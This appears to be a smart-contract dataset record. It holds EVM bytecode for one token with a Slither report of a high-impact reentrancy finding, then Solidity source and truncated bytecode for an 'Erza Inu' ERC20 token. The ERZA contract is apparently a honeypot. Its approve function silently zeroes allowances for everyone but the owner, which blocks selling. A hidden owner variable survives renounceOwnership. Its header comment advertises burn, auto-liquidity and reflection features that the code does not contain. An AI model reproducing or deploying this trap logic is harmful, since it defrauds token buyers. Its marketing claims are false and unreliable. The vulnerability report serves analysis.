b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506714d1120d7b160000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233368056bc75e2d63100000600854611cf790919063ffffffff16565b8210156123525760085468056bc75e2d6310000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220edb800a3c912f6ceb2f394ac26845b9cd67d264b5ac22c1b6543c6e93d596c4064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,718
0xd238bcbd65cd35c4b0da414b8b4016ad30e16db5
/* 𝕰𝕽𝖅𝕬 𝕴𝕹𝖀 𝕰𝕽𝖅𝕬 𝕴𝕹𝖀 𝕰𝕽𝖅𝕬 𝕴𝕹𝖀 Built on the Ethereum Chain, $ERZA is an ERC20 token with numbers of impressive features. Firstly, there is a Black Hole design that exponentially cuts the total supply in circulation by massive amounts. Secondly, $ERZA combines this with an innovative Auto-Liquidity feature that increases liquidity of the token rapidly. And finally, $ERZA holders will receive more $ERZA tokens just by simply holding the token in their wallet. Social links: Website: https://erzainu.io/ Twitter: https://twitter.com/ErzaInu Telegram: https://t.me/erza_inu */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract ERZAINUERC is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100* 10**12 * 10**18; string private _name = ' Erza Inu '; string private _symbol = 'ERZA '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373fffffffffffffffffffffffffffffffffffffff